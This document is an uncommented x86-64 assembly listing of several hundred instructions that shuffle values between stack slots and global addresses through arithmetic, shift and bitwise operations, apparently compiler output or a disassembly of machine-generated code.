mov rcx, qword [rsp + 0xa240]
mov byte [rcx], al
mov rax, qword [rsp + 0xba78]
movzx eax, word [rax]
mov word [rsp + 0x19fc], ax
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76]
xor eax, ecx
mov rcx, qword [rsp + 0x91d8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1fd]
mov rcx, qword [rsp + 0x9630]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb6e0]
mov byte [rcx], al
lea rax, [rsp + 0xab10]
mov qword [rsp + 0xbd88], rax
mov eax, dword [rsp + 0x5204]
movzx ecx, al
mov eax, dword [rsp + 0x5034]
shl eax, cl
mov dword [rsp + 0x4f54], eax
mov rax, qword [rsp + 0x85f0]
mov qword [rsp + 0xbd90], rax
mov eax, dword [rsp + 0x5004]
movzx ecx, al
mov eax, dword [rsp + 0x5208]
sar eax, cl
mov dword [rsp + 0x52b0], eax
lea rax, [rsp + 0x1974]
mov qword [0x1401cdd60], rax
movsx eax, word [rsp + 0x19b0]
mov rcx, qword [rsp + 0x9488]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0x9ee8]
movzx eax, byte [rax]
mov byte [rsp + 0x326], al
movzx eax, byte [rsp + 0x214]
mov rcx, qword [rsp + 0x99d0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb9e8]
mov byte [rcx], al
lea rax, [rsp + 0x19ac]
mov qword [rsp + 0xbd98], rax
mov eax, dword [rsp + 0x51d0]
mov ecx, dword [rsp + 0x4fbc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd20]
mov dword [rcx], eax
mov rax, qword [0x1401cc028]
mov qword [rsp + 0xbda0], rax
mov rax, qword [rsp + 0x9f00]
mov rcx, qword [rsp + 0xa4c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9760]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa910]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb068]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xad18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x302]
sub eax, ecx
mov byte [0x1401cc043], al
movsx eax, word [rsp + 0x1674]
movsx ecx, word [rsp + 0x1698]
add eax, ecx
mov word [rsp + 0x12e4], ax
mov rax, qword [rsp + 0xb2b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x199c]
and eax, ecx
mov rcx, qword [rsp + 0xaa48]
mov word [rcx], ax
lea rax, [rsp + 0x295]
mov qword [rsp + 0xbda8], rax
mov rax, qword [rsp + 0xaca0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1670]
sub eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0xb590]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96d8]
mov qword [rsp + 0xbdb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbdb0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xaae0]
mov qword [rcx], rax
lea rax, [rsp + 0x5254]
mov qword [rsp + 0xbdb8], rax
mov rax, qword [rsp + 0x9490]
mov rcx, qword [rsp + 0x92c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xba00], rax
mov rax, qword [rsp + 0xa2a8]
mov eax, dword [rax]
mov dword [rsp + 0x5348], eax
mov rax, qword [rsp + 0x9300]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x30a]
or eax, ecx
mov byte [rsp + 0x292], al
movsx eax, word [rsp + 0x17c8]
mov rcx, qword [rsp + 0xbce8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401cc180], ax
mov rax, qword [0x1401cd748]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb758]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x228], al
mov rax, qword [rsp + 0x9ec8]
movzx eax, word [rax]
mov word [rsp + 0x1a00], ax
movsx eax, word [rsp + 0x18f8]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xacc0]
mov word [rcx], ax
lea rax, [0x1401cc01c]
mov qword [rsp + 0xbdc0], rax
mov rax, qword [rsp + 0xbd40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5118]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x486c], eax
mov rax, qword [rsp + 0xb690]
mov qword [rsp + 0xbdc8], rax
mov rax, qword [rsp + 0xacf8]
mov rcx, qword [rsp + 0xbca0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa228], rax
movzx eax, word [rsp + 0x16e8]
movzx ecx, word [rsp + 0x1724]
sub eax, ecx
mov word [rsp + 0x1534], ax
movzx eax, byte [rsp + 0x2e6]
movzx ecx, byte [rsp + 0xb1]
add eax, ecx
mov rcx, qword [0x1401cd958]
mov byte [rcx], al
movzx eax, byte [rsp + 0x226]
mov byte [rsp + 0x327], al
mov rax, qword [rsp + 0xa348]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x171c]
sub eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
lea rax, [rsp + 0x26e]
mov qword [rsp + 0xbdd0], rax
mov rax, qword [rsp + 0xa378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa450]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa58], rax
mov rax, qword [rsp + 0xa6e0]
mov rcx, qword [rsp + 0xa788]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ae8], rax
lea rax, [rsp + 0x4d00]
mov qword [rsp + 0xbdd8], rax
mov rax, qword [rsp + 0x90d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5120]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5110], eax
lea rax, [rsp + 0x14fc]
mov qword [rsp + 0xbde0], rax
mov rax, qword [rsp + 0x9a40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17b4]
cdq
idiv ecx
mov word [0x1401cd9e8], ax
movsx eax, byte [rsp + 0x24d]
movsx ecx, byte [rsp + 0xca]
or eax, ecx
mov rcx, qword [rsp + 0xa428]
mov byte [rcx], al
mov rax, qword [rsp + 0x9058]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x288]
shl eax, cl
mov byte [rsp + 0x302], al
lea rax, [rsp + 0x311]
mov qword [rsp + 0xbde8], rax
mov rax, qword [rsp + 0xbc50]
mov rcx, qword [rsp + 0x9d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa1d0], rax
mov rax, qword [rsp + 0x90d0]
mov eax, dword [rax]
mov dword [rsp + 0x534c], eax
mov eax, dword [0x1401cd710]
mov rcx, qword [rsp + 0xba30]
mov qword [rsp + 0xbdf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbdf0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xb400]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a78]
mov rcx, qword [rsp + 0x92d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97f8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1518]
mov word [rsp + 0x1a04], ax
mov rax, qword [rsp + 0xb2c0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc053]
add eax, ecx
mov byte [0x1401cc09f], al
movsx eax, word [rsp + 0x187c]
movsx ecx, word [rsp + 0xff8]
and eax, ecx
mov rcx, qword [rsp + 0xb488]
mov word [rcx], ax
movzx eax, word [rsp + 0x165c]
mov word [rsp + 0x1a08], ax
movsx eax, byte [rsp + 0x24c]
movsx ecx, byte [rsp + 0x20f]
add eax, ecx
mov byte [rsp + 0x219], al
lea rax, [rsp + 0x176c]
mov qword [rsp + 0xbdf8], rax
mov rax, qword [rsp + 0xa628]
mov rcx, qword [rsp + 0x8910]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb340], rax
mov rax, qword [rsp + 0x9400]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5198]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa660]
mov dword [rcx], eax
lea rax, [rsp + 0x51bc]
mov qword [rsp + 0xbe00], rax
mov rax, qword [rsp + 0xa898]
mov rcx, qword [rsp + 0x9438]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9338], rax
mov rax, qword [rsp + 0x9050]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2df]
add eax, ecx
mov byte [0x1401cd827], al
lea rax, [rsp + 0x2de]
mov qword [rsp + 0xbe08], rax
movsx eax, word [rsp + 0x1844]
mov rcx, qword [rsp + 0xba38]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17d4], ax
movzx eax, byte [0x1401cc07f]
movzx ecx, byte [rsp + 0x2f8]
sub eax, ecx
mov rcx, qword [rsp + 0xb3f0]
mov byte [rcx], al
lea rax, [rsp + 0x2cd]
mov qword [rsp + 0xbe10], rax
mov rax, qword [rsp + 0xb138]
mov ecx, dword [0x1401cd720]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5080], eax
mov rax, qword [rsp + 0xa020]
mov qword [rsp + 0xbe18], rax
mov eax, dword [rsp + 0x51ac]
movzx ecx, al
mov eax, dword [rsp + 0x4e24]
shl eax, cl
mov rcx, qword [rsp + 0xb128]
mov dword [rcx], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa538]
sar rax, cl
mov qword [rsp + 0x9438], rax
movzx eax, word [rsp + 0x1838]
mov word [0x1401cdd68], ax
movzx eax, word [rsp + 0x14fc]
movzx ecx, word [rsp + 0x19e0]
xor eax, ecx
mov word [rsp + 0x112c], ax
mov rax, qword [rsp + 0x9c40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x315]
or eax, ecx
mov byte [rsp + 0x24e], al
lea rax, [rsp + 0x10f8]
mov qword [rsp + 0xbe20], rax
movsx eax, word [rsp + 0xebc]
mov rcx, qword [rsp + 0x9a20]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1988], ax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x9f28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a28], rax
mov rax, qword [rsp + 0x9910]
mov eax, dword [rax]
mov dword [rsp + 0x5350], eax
mov rax, qword [rsp + 0x99b8]
mov rcx, qword [rsp + 0xa250]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5240], eax
lea rax, [rsp + 0x81d8]
mov qword [rsp + 0xbe28], rax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa258]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cdafc], ax
mov rax, qword [rsp + 0x9c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x249]
and eax, ecx
mov byte [rsp + 0x2b1], al
lea rax, [rsp + 0x318]
mov qword [rsp + 0xbe30], rax
movsx eax, byte [rsp + 0x2dc]
movsx ecx, byte [rsp + 0x2ea]
sub eax, ecx
mov byte [rsp + 0x202], al
movsx eax, word [rsp + 0x16bc]
mov rcx, qword [rsp + 0xb390]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16ac], ax
mov eax, dword [rsp + 0x4eb0]
mov dword [rsp + 0x5354], eax
mov rax, qword [rsp + 0xadc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xac10]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb2e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8458]
mov qword [rsp + 0xbe38], rax
mov rax, qword [rsp + 0xab98]
mov ecx, dword [0x1401cd710]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5194], eax
lea rax, [rsp + 0x30c]
mov qword [0x1401cdd70], rax
movzx eax, word [rsp + 0x15e4]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x94a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x16bc]
mov word [rsp + 0x1a0c], ax
mov rax, qword [0x1401cd718]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9260]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2bb], al
movzx eax, word [rsp + 0x19c8]
mov word [rsp + 0x1a10], ax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x9e68]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x98b8], rax
mov rax, qword [rsp + 0xad78]
mov rcx, qword [rsp + 0xb618]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa010], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x5358], eax
mov eax, dword [rsp + 0x52cc]
movzx ecx, al
mov eax, dword [rsp + 0x4e78]
shl eax, cl
mov rcx, qword [rsp + 0x9890]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1fd]
movsx ecx, byte [rsp + 0x24a]
and eax, ecx
mov byte [0x1401cd837], al
lea rax, [rsp + 0x18cc]
mov qword [rsp + 0xbe40], rax
movzx eax, byte [rsp + 0x78]
movzx ecx, byte [0x1401cc008]
add eax, ecx
mov byte [rsp + 0x2bc], al
mov rax, qword [rsp + 0xb608]
movzx eax, word [rax]
mov word [rsp + 0x1a14], ax
mov rax, qword [rsp + 0x94e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2aa]
sub eax, ecx
mov rcx, qword [rsp + 0xade8]
mov byte [rcx], al
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0xb3d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xad60]
mov qword [rcx], rax
lea rax, [rsp + 0x5084]
mov qword [rsp + 0xbe48], rax
mov rax, qword [rsp + 0xa760]
mov rcx, qword [rsp + 0x8f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb360]
mov rax, qword [rax]
mov qword [rsp + 0xbe50], rax
lea rax, [rsp + 0x1f8]
mov qword [0x1401cdd78], rax
movzx eax, byte [rsp + 0x274]
movzx ecx, byte [rsp + 0x27c]
and eax, ecx
mov rcx, qword [rsp + 0x9088]
mov byte [rcx], al
movsx eax, word [rsp + 0x1908]
mov rcx, qword [rsp + 0xa470]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15d8], ax
mov rax, qword [rsp + 0xb8d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaa10]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf4], al
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0x1678]
sub eax, ecx
mov word [rsp + 0x16fc], ax
lea rax, [0x1401cc01c]
mov qword [rsp + 0xbe58], rax
mov eax, dword [rsp + 0x479c]
mov ecx, dword [rsp + 0x52d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e94], eax
mov rax, qword [rsp + 0xaae0]
mov rcx, qword [rsp + 0x8fb0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa938], rax
mov rax, qword [0x1401cc020]
mov qword [rsp + 0xbe60], rax
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0xdf]
sar eax, cl
mov byte [0x1401cc0a2], al
mov rax, qword [rsp + 0xafd8]
movzx eax, word [rax]
mov rcx, qword [0x1401cd8e0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9708]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2ae]
mov byte [rsp + 0x328], al
mov rax, qword [rsp + 0xbc48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1638]
xor eax, ecx
mov word [rsp + 0x18bc], ax
mov rax, qword [rsp + 0x9098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb2e0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbce8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8560]
mov qword [rsp + 0xbe68], rax
mov rax, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0xba50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xabc8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5234]
mov dword [rsp + 0x535c], eax
mov rax, qword [rsp + 0xb4b0]
mov rcx, qword [rsp + 0x97c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x51f8], eax
lea rax, [rsp + 0x17d4]
mov qword [rsp + 0xbe70], rax
mov rax, qword [rsp + 0x92a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x93b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd7dc], al
movsx eax, byte [rsp + 0x202]
mov rcx, qword [rsp + 0xa4d8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xacd8]
mov byte [rcx], al
movzx eax, word [rsp + 0x19e8]
mov rcx, qword [rsp + 0xa268]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19bc], ax
lea rax, [0x1401cc052]
mov qword [rsp + 0xbe78], rax
mov rax, qword [rsp + 0x9b40]
mov rcx, qword [rsp + 0xaec8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaf78], rax
mov eax, dword [rsp + 0x5094]
mov dword [rsp + 0x5360], eax
mov rax, qword [rsp + 0x9128]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa388]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5204], eax
mov rax, qword [rsp + 0xa490]
movzx eax, word [rax]
mov word [rsp + 0x1a18], ax
movzx eax, byte [rsp + 0x256]
movzx ecx, byte [0x1401cd78d]
add eax, ecx
mov byte [0x1401cc073], al
movsx eax, byte [rsp + 0x2ac]
movsx ecx, byte [rsp + 0x28d]
xor eax, ecx
mov rcx, qword [rsp + 0x92a8]
mov byte [rcx], al
lea rax, [rsp + 0x17ec]
mov qword [rsp + 0xbe80], rax
movzx eax, byte [rsp + 0x262]
movzx ecx, byte [rsp + 0x294]
shl eax, cl
mov byte [rsp + 0x2b2], al
mov rax, qword [rsp + 0xac00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x94c8]
mov qword [rsp + 0xbe88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe88]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5160], eax
lea rax, [rsp + 0xac68]
mov qword [rsp + 0xbe90], rax
mov rax, qword [rsp + 0x9f88]
mov rcx, qword [rsp + 0xb100]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa920]
mov qword [rcx], rax
mov rax, qword [rsp + 0xab18]
mov eax, dword [rax]
mov dword [rsp + 0x5364], eax
movzx eax, byte [rsp + 0x211]
mov rcx, qword [rsp + 0xb700]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x27c], al
movsx eax, byte [0x1401cc08e]
movsx ecx, byte [rsp + 0x235]
add eax, ecx
mov byte [0x1401cc0a3], al
movzx eax, word [rsp + 0x18d8]
mov word [rsp + 0x1a1c], ax
mov rax, qword [rsp + 0xa790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x95a0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x97a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa650]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa258]
mov word [rcx], ax
mov rax, qword [rsp + 0xac78]
mov rax, qword [rax]
mov qword [rsp + 0xbe98], rax
mov rax, qword [rsp + 0xae20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5148]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9760]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb610]
mov rcx, qword [0x1401cc020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x82e8], rax
mov rax, qword [rsp + 0xb4a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5174]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e88], eax
mov rax, qword [rsp + 0xa888]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa4d8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9708]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16b8]
add eax, ecx
mov word [0x1401cc184], ax
lea rax, [rsp + 0x25d]
mov qword [rsp + 0xbea0], rax
movsx eax, word [0x1401cd788]
movsx ecx, word [rsp + 0x19dc]
xor eax, ecx
mov word [rsp + 0x18dc], ax
mov rax, qword [rsp + 0x8d30]
movzx eax, word [rax]
mov word [rsp + 0x1a20], ax
movzx eax, byte [rsp + 0x2ff]
movzx ecx, byte [rsp + 0x211]
shl eax, cl
mov byte [rsp + 0x285], al
mov eax, dword [rsp + 0x5184]
mov rcx, qword [rsp + 0xa3d8]
mov qword [rsp + 0xbea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbea8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x526c], eax
lea rax, [rsp + 0xa118]
mov qword [rsp + 0xbeb0], rax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0xbd10]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa228], rax
mov rax, qword [rsp + 0x9598]
mov eax, dword [rax]
mov dword [rsp + 0x5368], eax
mov rax, qword [rsp + 0xb370]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9630]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd7de], al
mov rax, qword [rsp + 0x9328]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19f0]
and eax, ecx
mov rcx, qword [rsp + 0xb080]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1404]
sub eax, ecx
mov rcx, qword [rsp + 0xafa8]
mov word [rcx], ax
lea rax, [rsp + 0x1dc]
mov qword [rsp + 0xbeb8], rax
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [0x1401cdbb8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa7e8]
mov word [rcx], ax
lea rax, [rsp + 0xb4d0]
mov qword [rsp + 0xbec0], rax
mov rax, qword [rsp + 0x97f8]
mov rcx, qword [rsp + 0xb4d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9f70], rax
mov rax, qword [rsp + 0xb7e0]
mov eax, dword [rax]
mov dword [rsp + 0x536c], eax
mov rax, qword [rsp + 0x9968]
mov rcx, qword [rsp + 0xa948]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50c4], eax
mov rax, qword [rsp + 0xae50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21c]
sub eax, ecx
mov byte [0x1401cd78e], al
movsx eax, word [rsp + 0x168c]
movsx ecx, word [0x1401cc14c]
sub eax, ecx
mov word [rsp + 0x16d8], ax
lea rax, [rsp + 0x27a]
mov qword [rsp + 0xbec8], rax
mov rax, qword [rsp + 0x9178]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9630]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x218], al
movzx eax, word [rsp + 0x14f8]
mov word [rsp + 0x1a24], ax
mov rax, qword [rsp + 0xb618]
mov rcx, qword [rsp + 0x9680]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa028]
mov qword [rcx], rax
mov eax, dword [rsp + 0x536c]
mov rcx, qword [rsp + 0xa760]
mov qword [rsp + 0xbed0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbed0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4f8c], eax
mov eax, dword [0x1401cd710]
mov dword [rsp + 0x5370], eax
mov rax, qword [rsp + 0x9fe8]
movzx ecx, al
mov rax, qword [rsp + 0xbb40]
sar rax, cl
mov qword [rsp + 0x9d88], rax
movzx eax, word [rsp + 0xeec]
mov word [0x1401cdd80], ax
lea rax, [rsp + 0x229]
mov qword [rsp + 0xbed8], rax
movzx eax, word [0x1401cc0f0]
mov rcx, qword [rsp + 0x8ed8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbbd8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16bc]
xor eax, ecx
mov word [rsp + 0x1664], ax
lea rax, [rsp + 0x305]
mov qword [rsp + 0xbee0], rax
mov rax, qword [rsp + 0xb3b8]
mov ecx, dword [rsp + 0x4ec4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9658]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9f8]
mov rax, qword [rax]
mov qword [rsp + 0xbee8], rax
mov rax, qword [rsp + 0x9428]
mov rcx, qword [rsp + 0xab60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbb90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f78]
mov ecx, dword [rsp + 0x52b4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa1a8]
mov dword [rcx], eax
lea rax, [rsp + 0x12e8]
mov qword [0x1401cdd88], rax
mov rax, qword [rsp + 0xb9e8]
movzx eax, byte [rax]
mov byte [rsp + 0x329], al
mov rax, qword [rsp + 0xaa98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x164c]
sub eax, ecx
mov rcx, qword [rsp + 0xaaf8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x313]
mov byte [rsp + 0x32a], al
mov rax, qword [rsp + 0xaad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1eb]
add eax, ecx
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0xb880]
mov rcx, qword [rsp + 0xaed8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x84c0], rax
mov rax, qword [rsp + 0x92e0]
mov rcx, qword [rsp + 0xabc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f50], eax
mov rax, qword [rsp + 0xbe90]
mov rcx, qword [rsp + 0x9200]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb998], rax
mov eax, dword [rsp + 0x4ffc]
mov dword [rsp + 0x5374], eax
movsx eax, byte [rsp + 0x283]
movsx ecx, byte [rsp + 0x2b4]
sub eax, ecx
mov rcx, qword [0x1401cd948]
mov byte [rcx], al
movzx eax, word [rsp + 0x1950]
movzx ecx, word [0x1401cc150]
add eax, ecx
mov word [rsp + 0x16e8], ax
mov rax, qword [rsp + 0xbd98]
movzx eax, word [rax]
mov word [rsp + 0x1a28], ax
movzx eax, byte [rsp + 0x25d]
movzx ecx, byte [rsp + 0x221]
add eax, ecx
mov rcx, qword [rsp + 0x9758]
mov byte [rcx], al
movsx eax, word [rsp + 0x1788]
movsx ecx, word [rsp + 0x195c]
sar eax, cl
mov rcx, qword [rsp + 0x9488]
mov word [rcx], ax
mov eax, dword [rsp + 0x4f98]
mov dword [rsp + 0x5378], eax
mov rax, qword [rsp + 0x9618]
mov rcx, qword [rsp + 0xad28]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa858]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b78]
mov eax, dword [rax]
mov dword [rsp + 0x537c], eax
mov rax, qword [rsp + 0xba08]
mov rcx, qword [rsp + 0xa248]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa678], rax
lea rax, [rsp + 0x1960]
mov qword [0x1401cdd90], rax
movzx eax, word [rsp + 0x12d8]
movzx ecx, word [0x1401cc09c]
shl eax, cl
mov rcx, qword [rsp + 0xbbf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa220]
movzx eax, byte [rax]
mov byte [rsp + 0x32b], al
mov rax, qword [rsp + 0x8f30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1938]
and eax, ecx
mov word [rsp + 0x19e4], ax
mov rax, qword [rsp + 0xbb30]
movzx eax, byte [rax]
mov byte [rsp + 0x32c], al
mov rax, qword [rsp + 0x9a50]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5020], eax
lea rax, [rsp + 0x8448]
mov qword [rsp + 0xbef0], rax
mov eax, dword [rsp + 0x4f68]
mov ecx, dword [rsp + 0x501c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9580]
mov rcx, qword [0x1401cc028]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa3c8]
mov qword [rcx], rax
